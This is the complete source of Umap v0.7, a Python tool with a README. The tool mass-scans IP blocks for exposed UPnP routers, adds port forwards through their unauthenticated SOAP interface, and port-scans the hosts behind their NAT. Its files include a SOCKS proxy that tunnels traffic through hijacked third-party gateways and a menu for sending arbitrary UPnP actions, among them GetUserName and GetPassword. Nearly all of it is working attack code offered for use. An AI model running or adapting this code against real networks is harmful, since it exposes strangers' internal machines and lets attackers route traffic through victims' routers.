###############################
###############################
### ###
### README ###
### ###
###############################
###############################
Umap v0.7
By Daniel Garcia
formatez@toor.do
Dependencies
-------
Not much is needed, just Python > 2.6 and Python SoapPy.
Executing
-------
Umap works with a curses interface. Here are the arguments used by the program.
-h: Help
-c: Curses mode (Don't recommend NOT using curses)
-v: Verbose output
-p: Port / Port range (Internal Scanning)
-l: List of IP blocks
-i: Target IP
-s: SOCKSv4 Proxy mode
-b: IP SOCKS should bind to.
-t: Number of maximum threads
Here are some common ways to use Umap:
(SOCKSv4 Proxy mode) - <iplist> is the location of a filename containing an IP per line for scanning, it will automatically scan
the whole class C block if specified on the list. If specified by the -i argument you can specify single ip's. On curses use the 'd' and 'u'
keys to move around the iplist for the selection of positive hosts found, 'e' to execute upnp commands and 'q' to quit.
./umap.py -c -s -l <iplist> -t 254
(Scanning internal network mode) - Scans an IP looking for available IGD control points, if it finds one it attempts to map internal hosts for scanning.
./umap.py -c -i <ip>
(Scanning internal network mode) - Same as above but only scans ports specified in <port>
./umap.py -c -i <ip> -p <port>
###############################
###############################
### ###
### list ###
### ###
###############################
###############################
# Format: x.x.x.x(per line)
# Will scan the whole Class C block for each IP listed
# example: 1.2.3.4
###############################
###############################
### ###
### umap.py ###
### ###
###############################
###############################
#!/usr/bin/python
# Umap v0.7 (UPNP Map)
# formatez@toor.do (Daniel Garcia)
# http://www.toor.do/
#
# UPNP NAT Hole puncher/Scanner
# --------------------------------
# This program attempts to
# 1) Scan open TCP ports on the hosts behind a UPNP enabled Internet Gateway Device(IGD) NAT.
# 2) Add port forward using open WAN control points
# 3) Act as a SOCKS v4 using port forwarding from open WAN control points
#
#
# For more information on the subject:
# http://www.upnp-hacks.org/
# http://www.gnucitizen.org/
# http://www.sourcesec.com/2008/11/07/miranda-upnp-administration-tool/
#
#
#
# Code docs/comments coming soon.
#import sys
import os
import socket, SocketServer
import urllib2
import getopt
import xml.dom.minidom as minidom
import threading
import Queue
import random
import time
import uscan, usocks, upnpscan, uctui
import curses
from SOAPpy import *
# The format for the XML descriptor locations is 'XML location | TCP Port | Type'
knownLocations = ['/upnp/IGD.xml|80|0', '/allxml/|5431|1', '/devicedesc.xml|80|2', '/IGatewayDeviceDescDoc|2869|3', '/igd.xml|80|4', '/gatedesc.xml|49152|5', '/rootDesc.xml|5000|6']
# Default scanned ports
commonPorts = ['21','22','23','80','137','138','139','443','445','8080']
# Uscan queue
queue = Queue.Queue()
# IP List
upnpList = []
# Mappings list
mapList = []
threadList = []
def main():
socks = 0
max_threads = 16
upnp_type = False
verbose = False
cursesMode = False
portLow = 0
portHigh = 0
ip = ''
file = ''
bindIP = ''
portList = []
selectedIP = 0
current_ip = 0
mapDict = {}
selectedIPXML = {}
headers = {
'USER-AGENT':'Umap/0.7',
'CONTENT-TYPE':'text/xml; charset="utf-8"'
}
try:
opts, args = getopt.getopt(sys.argv[1:], "hcvst:i:p:l:b:", ["help", "curses", "verbose", "socks",
"threads=", "ip=", "port=", "list=", "bind="])
except getopt.GetoptError, err:
print str(err)
sys.exit(2)
if len(opts) == 0:
print "No arguments specified"
printhelp()
sys.exit(2)
for o,a in opts:
if o == "-h":
printhelp()
sys.exit(2)
if o == "-v":
verbose = 1
if o == "-c":
cursesMode = 1
if o == "-i":
ip = a
if o == "-p":
if ',' in a:
for port in a.split(','):
if port.isdigit():
portList.append(port)
else:
print "[E] Wrong port number"
elif '-' in a:
(portLow, portHigh) = a.split('-')
if portLow.isdigit() and portHigh.isdigit():
portLow = int(portLow)
portHigh = int(portHigh)
while portLow <= portHigh:
portList.append(portLow)
portLow += 1
else:
if a.isdigit:
portList.append(a)
else:
print "[E] Wrong port number"
sys.exit()
if o == "-t":
if a.isdigit() and int(a) < 255:
max_threads = a
else:
print "Error in threads"
sys.exit()
if o == "-s":
socks = 1
if o == "-b":
bindIP = a
if not a:
print "Error in bind IP"
sys.exit()
if o == "-l":
if os.path.exists(a):
file = a
else:
print "File doesn't exist!"
sys.exit()
if len(portList) == 0:
for port in commonPorts:
portList.append(port)
if not ip and not socks:
print "[E] Either target IP or socks option must be specified"
sys.exit()
if socks and (not file and not ip):
print "[E] Must specify IP block list file or IP target"
sys.exit()
if ip and not socks:
if cursesMode:
scr = uctui.uCTUI(0, selectedIP, selectedIPXML, upnpList, mapList)
scr.mainScreen.nodelay(1)
scr.printMessage("Trying "+ip)
scr.draw()
upnpScan = upnpscan.UPNPScan(ip, upnpList, scr, selectedIPXML)
upnpScan.setDaemon(True)
upnpScan.start()
upnpScan.join()
if len(upnpList) == 0:
scr.printMessage("[E] Couldn't find a match")
else:
splitUPnP = upnpList[0].split('|')
location = splitUPnP[3]+"|"+splitUPnP[4]+"|"+splitUPnP[5]
scanned = upnpScan.getInfo(location, ip, 1)
guessIP()
try:
while True:
if(threading.activeCount() < max_threads):
current_ip = queue.get()
if cursesMode:
umap = uscan.Uscan(ip, current_ip, scanned, queue, verbose, portList, mapList, scr)
else:
umap = uscan.Uscan(ip, current_ip, scanned, queue, verbose, portList, mapList)
umap.setDaemon(True)
umap.start()
if umap.stopIt.isSet():
break
time.sleep(0.5)
scr.draw()
input = scr.mainScreen.getch()
if input == ord('q'):
scr.exitCurse()
break
except KeyboardInterrupt:
scr.printMEssage("Caught interrupt! waiting for threads and exiting")
umap.stopIt.set()
umap.join()
scr.exitCurse()
if socks and (file or ip):
scr = uctui.uCTUI(1, selectedIP, selectedIPXML, upnpList, mapList)
if file:
ipListfh = open(file, 'r')
ipList = ipListfh.readlines()
for line in ipList:
c = 1
if line.find('#') != -1: continue
splitIP = line.split('.')
if len(splitIP) == 4:
while c < 255:
ip = str(splitIP[0])+"."+str(splitIP[1])+"."+str(splitIP[2])+"."+str(c)
if c == 1:
dip = ip.split('.')
scr.printMessage("Adding block: "+ip)
queue.put(ip)
c += 1
else:
scr.printMessage("[E]Error in format!")
if ip:
scr.printMessage("Adding: "+ip)
queue.put(ip)
try:
socksServer = usocks.UsocksServer((bindIP, 1081), usocks.UsocksHandle)
except:
print "Error binding"
sys.exit(0)
socksServer.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
socksThread = threading.Thread(target=socksServer.serve_forever)
socksThread.setDaemon(True)
socksThread.start()
totalCount = 0
try:
while True:
if not queue.empty():
current_ip = queue.get()
upnpScan = upnpscan.UPNPScan(current_ip, upnpList, scr, selectedIPXML)
scr.mainScreen.nodelay(1)
time.sleep(0.5)
scr.draw()
input = scr.mainScreen.getch()
lenUPnP = len(upnpList)
scan = ()
if lenUPnP > 0 and selectedIP < lenUPnP and len(scr.selectedIPXML) == 0:
splitUPnP = upnpList[scr.selectedIP].split('|')
location = splitUPnP[3]+"|"+splitUPnP[4]+"|"+splitUPnP[5]
scan = upnpScan.getInfo(location, upnpList[scr.selectedIP].split('|')[0], 1)
if input == ord('q'):
socksServer.shutdown()
socksThread.join()
scr.exitCurse()
break
if input == ord('r'):
scr.mainScreen.refresh()
if input == ord('e'):
if lenUPnP == 0:
scr.printMessage("No positive matches")
return False
scr.mainScreen.nodelay(0)
scr.drawExecute()
scr.mainScreen.nodelay(1)
if input == ord('u') and selectedIP >= 0:
scr.cursorUp()
splitUPnP = upnpList[scr.selectedIP].split('|')
location = splitUPnP[3]+"|"+splitUPnP[4]+"|"+splitUPnP[5]
scr.selectedIPXML = {}
mapDict = {}
if input == ord('d') and selectedIP < lenUPnP:
scr.cursorDown()
splitUPnP = upnpList[scr.selectedIP].split('|')
location = splitUPnP[3]+"|"+splitUPnP[4]+"|"+splitUPnP[5]
scr.selectedIPXML = {}
mapDict = {}
socksServer.scan = scan
socksServer.IPlist = upnpList
socksServer.map = mapDict
socksServer.scr = scr
socksServer.selectedIP = selectedIP
if(threading.activeCount() < int(max_threads)):
totalCount += 1
if queue.empty() and current_ip == 0:
continue
else:
scr.printMessage("Scanning("+str(threading.activeCount())+","+str(totalCount)+"): "+current_ip)
upnpScan.setDaemon(True)
upnpScan.start()
threadList.append(upnpScan)
current_ip = 0
else:
for t in threadList:
t.join()
if upnpScan.stopIt.isSet():
break
except KeyboardInterrupt:
scr.printMessage("Caught interrupt! waiting for threads and exiting")
upnpScan.stopIt.set()
upnpScan.join()
scr.exitCurse()
def guessIP():
# TODO
# Best guess of IP (10.0.0.0)
ipGuess = '10.0.0.1'
# ipGuess = base.split('://')[1].split(':')[0]
(a,b,c,d) = ipGuess.split('.')
d = int(d)
originald = d
d = 1
while d < 255:
if d == originald:
d += 1
continue
d += 1
ipGuess = a+'.'+b+'.'+c+'.'+str(d)
queue.put(ipGuess)
def printhelp():
print "------------"
print "Umap v0.7"
print "By FormateZ"
print "formatez@toor.do"
print "------------"
print "-h: Help"
print "-b: Bind IP of SOCKS"
print "-c: Curses mode"
print "-v: Verbose output"
print "-p: Port / Port range (Internal Scanning)"
print "-l: File with list of IP's to be scanned"
print "-i: Target IP"
print "-s: SOCKSv4 Proxy mode"
print "-t: Number of maximum threads"
if __name__ == '__main__':
main()
###############################
###############################
### ###
### upnpscan.py ###
### ###
###############################
###############################
#!/usr/bin/python
import urllib2
import asyncore
import threading, random, socket
import random
from SOAPpy import *
import xml.dom.minidom as minidom
import sys
import time
# Much thanks to Dan Kaminsky for supplying most of these description XML's
knownLocations = ['/upnp/IGD.xml|80|0',
'/DeviceDescription.xml|80|1',
'/allxml/|5431|2',
'/devicedesc.xml|80|3',
'/IGatewayDeviceDescDoc|2869|4',
'/igd.xml|80|5',
'/gatedesc.xml|49152|6',
'/rootDesc.xml|5000|7',
'/RootDevice.XML|50718|9',
'/UPNP_rootDesc.xml|5819|10',
'/rtdevdsc.xml|1900|11',
'/gateway.xml|49152|12',
'/rootDesc.xml|5555|13',
'/upnp/igdrootdesc.xml|80|14',
'/x_internetgatewaydevice.xml|80|15',
'/desc.xml|80|16',
'/DeviceDescrption.xml|9007|17',
'/Public_UPNP_gatedesc.xml|80|18',
'/gen-desc.xml|4004|19',
'/__rootDevice|30888|20',
'/gateconnSCPD.xml|80|21',
'/RootDevice.xml|8008|22',
'/device.xml|51004|23',
'/upnp/service/descrip.xml|80|24',
'/rootDesc.xml|8200|25',
'/DeviceDescription.xml|62802|26',
'/rootDesc.xml|65535|27',
'/rootDesc.xml|8588|29',
'/InternetGatewayDevice.xml|2800|30',
'/UPNP_rootDesc.xml|5819|31',
'/InternetGatewayDevice.xml|1780|32',
'/RootDevice.xml|64340|33',
'/igddesc.xml|49000|34',
'/RootDevice.xml|34137|35']
class UPNPScan(threading.Thread, asyncore.dispatcher):
def __init__(self, ip, upnpList, scr, selectedIPXML):
threading.Thread.__init__ (self)
asyncore.dispatcher.__init__(self)
self.stopIt = threading.Event()
self.ip = ip
self.upnpList = upnpList
self.selectedIPXML = selectedIPXML
self.scr = scr
def run(self):
headers = {
'USER-AGENT':'Umap/0.7',
'CONTENT-TYPE':'text/xml; charset="utf-8"'
}
for location in knownLocations:
data = False
(link, port, upnpType) = location.split('|')
requestLocation = "http://%s:%s%s" % (self.ip, port, link)
try:
socket.setdefaulttimeout(6)
request = urllib2.Request(requestLocation, None)
response = urllib2.urlopen(request)
headers = response.info()
data = response.read()
except Exception, err:
continue
if data and data.find('xml') != -1:
upnp_type = location
self.scr.printMessage("[*] Positive match "+requestLocation)
self.soapInfo = self.getInfo(location, self.ip, 0)
try:
self.upnpList.append(str(self.ip)+"|"+str(self.soapInfo[2])+"|"+str(port)+"|"+str(location)+"|"+str(self.soapInfo[1])+"|"+str(self.soapInfo[0])+"|"+str(self.soapInfo[6]))
except:
continue
break
def getInfo(self, location, ip, paint):
st = time.time()
(link, port, upnpType) = location.split('|')
requestLocation = "http://%s:%s%s" % (ip, port, link)
on = 0
out = {}
newXml = ''
location = ''
data = ''
base = ''
tags = ['URLBase', 'friendlyName', 'modelDescription', 'modelName', 'modelNumber', 'serialNumber', 'UDN']
try:
request = urllib2.Request(requestLocation, None)
response = urllib2.urlopen(request)
headers = response.info()
xmlData = response.read()
except Exception, err:
return False
ed = time.time()
for line in xmlData.split('\n'):
if '<?xml ' in line or on == 1:
on = 1
newXml += line+'\n'
if '</root' in line:
on = 0
break
try:
xmlRoot = minidom.parseString(newXml)
except Exception, err:
self.scr.printMessage("[E] Error parsing XML")
return False
for service in xmlRoot.getElementsByTagName('service'):
try:
serviceType = service.getElementsByTagName('serviceType')[0].childNodes[0].data
wanXml = service.getElementsByTagName('SCPDURL')[0].childNodes[0].data
controlURL = service.getElementsByTagName('controlURL')[0].childNodes[0].data
except Exception, err:
self.scr.printMessage("[E] Error fetching main tags")
return False
if 'WANPPP' in serviceType or 'WANIP' in serviceType:
# if 'WANIP' in serviceType:
for tag in tags:
try:
out[tag] = xmlRoot.getElementsByTagName(tag)[0].childNodes[0].data
if paint == 1: self.scr.selectedIPXML[tag] = xmlRoot.getElementsByTagName(tag)[0].childNodes[0].data
except:
pass
timing = (ed-st)*1000.0
if 'URLBase' in out:
base = out['URLBase']
return (serviceType, wanXml, controlURL, base, port, link, timing)
###############################
###############################
### ###
### uscan.py ###
### ###
###############################
###############################
#!/usr/bin/python
import threading, random, socket
import random
from SOAPpy import *
class Uscan(threading.Thread):
def __init__(self, uip, ip, soapInfo, queue, verbose, portList, mapList, scr):
threading.Thread.__init__ (self)
self.stopIt = threading.Event()
self.portList = portList
self.verbose = verbose
self.scr = scr
self.ip = ip
self.uip = uip
self.soapInfo = soapInfo
self.port = soapInfo[4]
self.queue = queue
self.mapList = mapList
def run(self):
for port in self.portList:
if self.stopIt.isSet():
break
sys.exit()
open = False
thisport = random.randint(30000, 40000)
if self.verbose: self.scr.printMessage("[*] Trying port "+str(port)+" on "+self.ip+" "+self.uip+":"+str(thisport))
endpoint = "http://%s:%s%s" % (self.uip, self.port, self.soapInfo[2])
namespace = self.soapInfo[0]
soapaction = namespace+'#AddPortMapping'
server = SOAPProxy(endpoint, namespace)
try:
server._sa(soapaction).AddPortMapping(NewRemoteHost="",
NewExternalPort=thisport,
NewProtocol="TCP",
NewInternalPort=port,
NewInternalClient=self.ip,
NewEnabled=1,
NewPortMappingDescription=thisport,
NewLeaseDuration=0)
except Exception, err:
self.scr.printMessage("[E]Couldn't add port "+str(thisport)+" with "+str(port)+" on "+self.uip+":"+str(err))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.uip, thisport))
open = 1
self.mapList.append(self.uip+":"+str(thisport)+"|"+self.ip+":"+str(port))
self.scr.printMessage("Mapped: "+self.uip+":"+str(thisport)+"<->"+self.ip+":"+str(port))
s.close()
except Exception, err:
open = 0
s.close()
if self.verbose: self.scr.printMessage("Closed port "+str(err))
if not open:
endpoint = "http://%s:%s%s" % (self.uip, self.port, self.soapInfo[2])
namespace = self.soapInfo[0]
soapaction = namespace+"#DeletePortMapping"
server = SOAPProxy(endpoint, namespace)
try:
self.scr.printMessage("Deleting: "+str(thisport))
server._sa(soapaction).DeletePortMapping(NewRemoteHost="",
NewExternalPort=thisport,
NewProtocol="TCP")
except Exception, err:
self.scr.printMessage("[E] Error deleting port "+str(thisport))
###############################
###############################
### ###
### usocks.py ###
### ###
###############################
###############################
#!/usr/bin/python
import thread
import SocketServer, socket
import struct
import sys
import random
import string
from SOAPpy import *
from time import time
class UsocksHandle(SocketServer.BaseRequestHandler):
def pipe(self,src,dest):
while 1:
try:
r = src.recv(4096)
except Exception as e:
self.server.scr.printMessage("Receive "+str(e))
src.close()
dest.close()
break
if not r:
src.close()
dest.close()
break
try:
dest.send(r)
except Exception as e:
self.server.scr.printMessage("Send "+str(e))
src.close()
dest.close()
break
def handle(self):
outData = []
inData = []
selectedIP = self.server.scr.selectedIP
positive = self.server.IPlist
mapDict = self.server.map
scr = self.server.scr
sys.stdout = open("/dev/null")
sys.stderr = open("/dev/null")
socksFormat = '!BBH4s'
socksResponseOK = struct.pack('!BBHI',0,0x5a,0,0)
socksFail = struct.pack('!BBHI',0,0x5b,0,0)
while 1:
initialData = self.request.recv(struct.calcsize(socksFormat))
if not initialData:
scr.printMessage("Dropped request")
break
(socks_ver,command,target_port,target_addr) = struct.unpack(socksFormat,initialData)
(target_addr_int,) = struct.unpack('!I',target_addr)
target_addr = socket.inet_ntoa(target_addr)
if len(positive) == 0:
scr.printMessage("[E] Can't processs request without positive matches")
self.request.send(socksFail)
self.request.close()
continue
if command == 1:
port = target_port
ip = target_addr
lenPositives = len(positive)
scr.printMessage("Processing("+str(selectedIP)+"): "+ip+" from "+str(self.client_address[0]))
rhost = positive[selectedIP].split('|')[0]
rendpoint = positive[selectedIP].split('|')[1]
rendpointport = positive[selectedIP].split('|')[2]
serviceType = positive[selectedIP].split('|')[7]
self.rhost = rhost
rport = random.randint(10000,20000)
self.rport = rport
#
# TODO
if mapDict.has_key(ip+':'+str(port)):
thisMap = mapDict[ip+':'+str(port)].split(':')
rhost = thisMap[0]
rport = thisMap[1]
self.rhost = rhost
self.rport = rport
scr.printMessage("Already mapped "+rhost+":"+rport)
else:
endpoint = "http://"+rhost+":"+str(rendpointport)+rendpoint
scr.printMessage("Trying to add: "+str(rhost)+":"+str(rport)+"|"+str(ip)+":"+str(port))
namespace = serviceType
server = SOAPProxy(endpoint, namespace)
soapaction = serviceType+"#AddPortMapping"
try:
server._sa(soapaction).AddPortMapping(NewRemoteHost="",
NewExternalPort=rport,
NewProtocol="TCP",
NewInternalPort=port,
NewInternalClient=ip,
NewEnabled=1,
NewPortMappingDescription=7,
NewLeaseDuration=0)
mapDict[ip+":"+str(port)] = rhost+":"+str(rport)+":"+str(int(time()))
except Exception, err:
scr.printMessage("Exception adding "+str(err)+rendpoint)
self.request.send(socksFail)
self.request.close()
continue
if mapDict.has_key(ip+':'+str(port)):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((rhost, int(rport)))
except:
scr.printMessage("Couldn't connect to mapped port")
self.request.send(socksFail)
self.request.close()
continue
else:
mapDict[ip+':'+str(port)] = rhost+':'+str(rport)+':'+str(time())
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setdefaulttimeout(20)
try:
sock.connect((rhost, int(rport)))
except:
scr.printMessage("Couldn't connect to mapped port")
self.request.send(socksFail)
self.request.close()
continue
self.request.send(socksResponseOK)
thread.start_new_thread(self.pipe,(self.request,sock))
thread.start_new_thread(self.pipe,(sock,self.request))
if mapDict.has_key(ip+':'+str(port)):
current = time()
if (int(current) - int(mapDict[ip+':'+str(port)].split(':')[2])) > 60:
scr.printMessage("Closing up "+self.rhost+" "+str(self.rport))
endpoint = "http://"+self.rhost+"/upnp/control/igd/wanpppcInternet"
soapaction = serviceType+"#DeletePortMapping"
try:
server = SOAPProxy(endpoint, namespace)
server._sa(soapaction).DeletePortMapping(NewRemoteHost="",
NewExternalPort=self.rport,
NewProtocol="TCP")
del mapDict[ip+':'+str(port)]
except:
scr.printMessage("Exception deleting")
pass
class UsocksServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
pass
###############################
###############################
### ###
### uctui.py ###
### ###
###############################
###############################
#!/usr/bin/python
import curses
import collections
import copy
import xml.dom.minidom as minidom
import urllib2
from SOAPpy import *
UPnPActions = ['SetConnectionType',
'GetConnectionTypeInfo',
'ConfigureConnection',
'RequestConnection',
'RequestTermination',
'ForceTermination',
'SetAutoDisconnectTime',
'SetIdleDisconnectTime',
'SetWarnDisconnectDelay',
'GetStatusInfo',
'GetLinkLayerMaxBitRates',
'GetPPPEncryptionProtocol',
'GetPPPCompressionProtocol',
'GetPPPAuthenticationProtocol',
'GetUserName',
'GetPassword',
'GetAutoDisconnectTime',
'GetIdleDisconnectTime',
'GetWarnDisconnectDelay',
'GetNATRSIPStatus',
'GetGenericPortMappingEntry',
'GetSpecificPortMappingEntry',
'AddPortMapping',
'DeletePortMapping',
'GetExternalIPAddress']
class uCTUI():
def __init__(self, type, selectedIP, selectedIPXML, upnpList, mapList):
self.type = type
self.scan = ''
self.mapList = mapList
self.upnpList = upnpList
self.selectedIPXML = selectedIPXML
self.messagesQueue = collections.deque()
self.positiveQueue = collections.deque()
self.cursorPos = 0
self.selectedIP = selectedIP
self.qSize = 0
self.mainScreen = curses.initscr()
self.mainMax = self.mainScreen.getmaxyx()
self.mainScreen.clear()
self.mainScreen.subwin(self.mainMax[0], self.mainMax[1], 0, 0)
self.messagesLimit = self.mainMax[1]
self.mainScreen.box()
curses.noecho()
curses.cbreak()
self.mainScreen.refresh()
def draw(self):
start = 0
if self.type == 1:
self.positiveWindow = curses.newwin(20,20,1,1)
self.positiveWindow.box()
self.positiveWindow.addstr(0,1,"Positive IP's",curses.A_REVERSE)
self.positiveWindow.refresh()
self.detailWindow = curses.newwin(20,self.mainMax[1]-25,1,22)
self.detailWindow.box()
if len(self.upnpList) > 0:
dselectedIP = self.upnpList[self.selectedIP].split('|')[0]
dselectedService = self.upnpList[self.selectedIP].split('|')[7].split(':')[3]
dselectedTiming = self.upnpList[self.selectedIP].split('|')[8].split('.')[0]
else:
dselectedIP = ''
dselectedService = ''
dselectedTiming = '-'
self.detailWindow.addstr(0,1,"UPnP Details - |Selected IP: "+dselectedIP+" |Total positives: "+str(len(self.upnpList))+" |Service: "+dselectedService+" |Timing: "+dselectedTiming+"ms",curses.A_REVERSE)
dcount = 1
for k in self.selectedIPXML:
if dcount < 20: self.detailWindow.addstr(dcount,1,str(k)+": "+str(self.selectedIPXML[k]))
dcount = dcount + 1
self.detailWindow.refresh()
self.messagesWindow = curses.newwin(self.mainMax[0]-22, self.mainMax[1]-4, 21, 1)
self.messagesWindow.box()
self.messagesWindow.addstr(0,1,"Messages",curses.A_REVERSE)
self.messagesWindow.refresh()
count = 1
if self.selectedIP >= range(19,254,19)[0]:
start = self.selectedIP
end = self.selectedIP+19
elif self.selectedIP >= range(19,254,19)[1]:
start = self.selectedIP
end = self.selectedIP+19
for positive in self.upnpList:
if count < start+1:
count += 1
continue
if self.selectedIP < start+19 and start > 18 and count < end:
self.positiveWindow.addstr(count-start,1,str(count-start)+"-"+positive.split('|')[0])
count = count + 1
if self.selectedIP == count-1:
self.positiveWindow.addstr(count-start,1,str(count-start)+"+"+positive.split('|')[0],curses.A_REVERSE)
count = count + 1
continue
if count < 19 and start == 0:
self.positiveWindow.addstr(count,1,str(count)+"-"+positive.split('|')[0])
count = count + 1
self.positiveWindow.refresh()
else:
self.mappingWindow = curses.newwin(20,47,1,1)
self.mappingWindow.box()
self.mappingWindow.addstr(0,1,"Mappings",curses.A_REVERSE)
mcount = 1
for map in self.mapList:
if mcount < 20:
self.mappingWindow.addstr(mcount,1,str(map))
mcount = mcount + 1
self.mappingWindow.refresh()
self.detailWindow = curses.newwin(20,self.mainMax[1]-52,1,48)
self.detailWindow.box()
self.detailWindow.addstr(0,1,"UPnP Details",curses.A_REVERSE)
dcount = 1
for k in self.selectedIPXML:
if dcount < 20: self.detailWindow.addstr(dcount,1,str(k)+": "+str(self.selectedIPXML[k]))
dcount = dcount + 1
self.detailWindow.refresh()
it = self.mainMax[0]-22
self.messagesWindow = curses.newwin(self.mainMax[0]-22, self.mainMax[1]-4, 21, 1)
self.messagesWindow.box()
self.messagesWindow.addstr(0,1,"Messages",curses.A_REVERSE)
self.messagesWindow.refresh()
count = 1
for map in self.mapList:
if count < 20: self.mappingWindow.addstr(count,1,str(count)+"-"+map)
count = count + 1
qCopy = copy.deepcopy(self.messagesQueue)
count = 1
for message in qCopy:
self.messagesWindow.addstr(count,1,str(message))
count = count + 1
self.messagesWindow.refresh()
def drawExecute(self):
actionNumber = {}
actionList = []
argumentDict = {}
stateVars = {}
inputArgs = {}
if len(self.upnpList) == 0:
return False
self.executeWindow = curses.newwin(40,self.mainMax[1]-25,3,5)
self.executeWindow.box()
self.executeWindow.refresh()
try:
nowIP = self.upnpList[self.selectedIP].split('|')[0]
nowPort = self.upnpList[self.selectedIP].split('|')[2]
nowXML = self.upnpList[self.selectedIP].split('|')[6]
scpd = "http://"+nowIP+":"+nowPort+nowXML
request = urllib2.Request(scpd, None)
response = urllib2.urlopen(request)
headers = response.info()
xmlData = response.read()
except Exception, err:
return False
xmlRoot = minidom.parseString(xmlData)
for stateVar in xmlRoot.getElementsByTagName('stateVariable'):
stateVarName = stateVar.getElementsByTagName('name')[0].childNodes[0].data
stateVarType = stateVar.getElementsByTagName('dataType')[0].childNodes[0].data
stateVars[str(stateVarName)] = str(stateVarType)
for action in xmlRoot.getElementsByTagName('action'):
actionName = action.getElementsByTagName('name')[0].childNodes[0].data
actionList.append(str(actionName))
argumentDict[actionName] = ''
for argument in action.getElementsByTagName('argument'):
lenAction = len(actionList)
nowArg = argument.getElementsByTagName('name')[0].childNodes[0].data
relatedVar = argument.getElementsByTagName('relatedStateVariable')[0].childNodes[0].data
direction = argument.getElementsByTagName('direction')[0].childNodes[0].data
if argumentDict[actionName] == '':
argumentDict[actionName] = nowArg+":"+stateVars[relatedVar]+":"+direction
else:
argumentDict[actionName] = argumentDict[actionName]+"|"+nowArg+":"+stateVars[relatedVar]+":"+direction
count = 1
for action in actionList:
strCount = str(count)
self.executeWindow.addstr(count,1,strCount+"-"+str(action))
actionNumber[strCount] = str(action)
count = count + 1
for action in UPnPActions:
strCount = str(count)
if action in actionList: continue
self.executeWindow.addstr(count,1,strCount+"-"+str(action),curses.A_BOLD)
actionNumber[strCount] = str(action)
count = count + 1
self.executeWindow.refresh()
selection = self.executeWindow.getstr()
if not selection.isdigit() or int(selection) > count:
self.mainScreen.clear()
self.mainScreen.refresh()
self.printMessage("Error in selection")
return False
try:
nowAction = actionNumber.get(selection)
if argumentDict.has_key(nowAction):
nowArgs = argumentDict[nowAction].split('|')
else:
nowArgs = ''
for nowArg in nowArgs:
nowArg = nowArg.split(':')
if nowArg[2] == 'out': continue
self.executeWindow.clear()
self.executeWindow.refresh()
curses.echo()
self.executeWindow.addstr(1,1,"Insert("+str(nowArg[1])+") "+str(nowArg[0])+":")
input = self.executeWindow.getstr()
curses.noecho()
inputArgs[str(nowArg[0])] = str(input)+"|"+str(nowArg[1])
self.executeWindow.refresh()
except Exception, err:
self.printMessage("Error in selection "+str(err))
return False
sendParms = self.upnpList[self.selectedIP].split('|')
if selection == '99':
soapRequest = self.sendSoap(sendParms[1], sendParms[0], sendParms[2], sendParms[7], "GetPPPAuthenticationProtocol", inputArgs)
else:
soapRequest = self.sendSoap(sendParms[1], sendParms[0], sendParms[2], sendParms[7], actionNumber.get(selection), inputArgs)
newXML = ''
if not soapRequest or 'faultString' in soapRequest:
self.printMessage("Error in UPnP Request")
return False
try:
for s in soapRequest:
newXML += s+'\n'
xmlResponse = minidom.parseString(newXML)
ecount = 1
self.executeWindow.clear()
self.executeWindow.refresh()
if argumentDict.has_key(nowAction):
nowArgs = argumentDict[nowAction].split('|')
for nowArg in nowArgs:
nowArg = nowArg.split(':')
if nowArg[2] == 'in': continue
responseValue = xmlResponse.getElementsByTagName(nowArg[0])[0].childNodes[0].data
if not responseValue: continue
self.executeWindow.addstr(ecount,1,nowArg[0]+": "+responseValue)
ecount = ecount + 1
else:
nowArgs = ''
for r in xmlResponse.getElementsByTagName('s:Body'):
outerBody = r.childNodes[1]
inner = outerBody.childNodes[1].toxml()
if not inner: continue
self.executeWindow.addstr(ecount,1,inner)
self.executeWindow.addstr(ecount+5,1,"Press any key to continue")
self.executeWindow.refresh()
self.executeWindow.getch()
except Exception, err:
self.printMessage("Exception: "+str(err))
return False
del self.executeWindow
self.mainScreen.clear()
self.mainScreen.refresh()
def sendSoap(self, control, ip, port, device, action, inputArgs = ''):
body = []
bodyStr = '<ns1:'+action+' xmlns:ns1="'+device+'" SOAP-ENC:root="1">\n'
if len(inputArgs) > 0:
for k,v in inputArgs.iteritems():
splitv = v.split('|')
try:
body.append("<"+k+" xsi:type=\"xsd:"+splitv[1]+"\">"+splitv[0]+"</"+k+">")
except Exception, err:
self.printMessage("Exception "+str(v))
for b in body:
bodyStr = bodyStr+str(b)+"\n"
bodyStr = bodyStr+"</ns1:"+action+">"
payload = """<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema"
>
<SOAP-ENV:Body>"""+bodyStr+"""
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
\r\n\r\n
"""
head = """POST """+control+""" HTTP/1.0\r
Host: """+ip+"""\r
User-agent: Umap v0.5 UPnP/1.1 None\r
Content-type: text/xml; charset="UTF-8"\r
Content-length: """+str(len(payload))+"""\r
SOAPAction: """+'"'+device+'#'+action+'"'+"""\r
\r\n"""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((ip, int(port)))
except Exception, err:
self.printMessage("Error connecting for SOAP request")
return False
sock.send(head+payload)
soapRcvStr = ''
while 1:
try:
soapRcv = sock.recv(2048)
except Exception, err:
self.printMessage("Error receiving "+str(err))
return False
if not soapRcv: break
soapRcvStr += soapRcv
sock.close
f = 0
response = []
for s in soapRcvStr.split('\n'):
if '<?xml ' in s: f = 1
if f == 1:
response.append(s)
return response
def printMessage(self, message):
queueSize = len(self.messagesQueue)
self.qSize = queueSize
total = self.mainMax[0]-24
min = total+1
max = total-1
count = 1
if queueSize == total:
popleft = self.messagesQueue.popleft()
self.messagesQueue.append(message)
else:
self.messagesQueue.append(message)
def printInfo(self, out):
count = 1
for k in out:
if count < 20: self.detailWindow.addstr(count,1,str(k)+": "+str(out[k]))
count = count + 1
self.detailWindow.refresh()
def cursorUp(self):
self.selectedIPXML = {}
